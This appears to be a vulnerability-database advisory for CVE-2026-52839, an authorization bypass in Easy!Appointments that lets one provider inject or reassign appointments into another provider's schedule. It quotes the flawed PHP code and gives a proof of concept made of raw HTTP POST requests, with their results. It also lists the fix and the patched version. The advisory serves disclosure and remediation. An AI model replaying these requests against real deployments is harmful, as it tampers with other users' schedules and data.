CVE-2026-52839Low· 3.3▾ SunlitEasy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass
▾ Sunlit zone — Low / medium · no exploitation signal
impact 18.2 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 29.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.1%
0.1% → 0.2%
Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.
A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.
The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:
// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
foreach ($appointments as $index => $appointment) {
if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
unset($appointments[$index]);
}
}
}
The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:
// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
The controller whitelists and persists the appointment including the attacker-controlled provider ID:
$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);
No check is performed to verify id_users_provider matches the current session.
After the unauthorized row is committed, the controller crashes on a type error:
$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id
The attacker receives a 500 error response, but the foreign appointment row is already in the database.
The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:
// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);
A provider can reassign any appointment they can edit into a foreign provider's calendar.
Attacker: Provider with session ID 4
Target: Foreign provider with ID 2
Step 1 — Inject appointment into foreign provider's schedule:
POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 500 Internal Server Error — type error on find()
But the row is committed:
id start_datetime id_users_provider notes
6 2026-05-29 15:00:00 2 foreign provider create by alicer
Provider 4 created a row that belongs to provider 2.
Step 2 — Reassign existing appointment to foreign provider:
POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 200 OK
Result: Appointment 7 now belongs to provider 2 instead of provider 4.
Runtime verification result:
attacker provider id: 4
foreign created appointment provider id: 2
reassigned appointment provider id: 2
provider-visible appointments: 0
PASS
The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.
In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:
store() makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:
if ($role_slug === DB_SLUG_PROVIDER) {
$appointment['id_users_provider'] = $user_id; // force own provider ID
}
Fix the write-before-crash bug in store():
$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array
Yash Shendge (ashrexon) 2026-05-25
alextselegidis/easyappointments <= 1.5.2Upgrade to a patched release:
alextselegidis/easyappointments 1.6.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-52837MediumEasy!Appointments has unauthenticated customer PII disclosure on booking reschedule page
CVE-2026-52841Low· 3.1Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync
CVE-2026-55651High· 7.1Easy!Appointments Vulnerable to Appointments Takeover via Excessive Data Exposure
CVE-2026-52840Low· 2.7Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network
CVE-2026-52838Low· 2.6Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS
CVE-2026-52821Medium· 5.3Kimai is an open-source time tracking application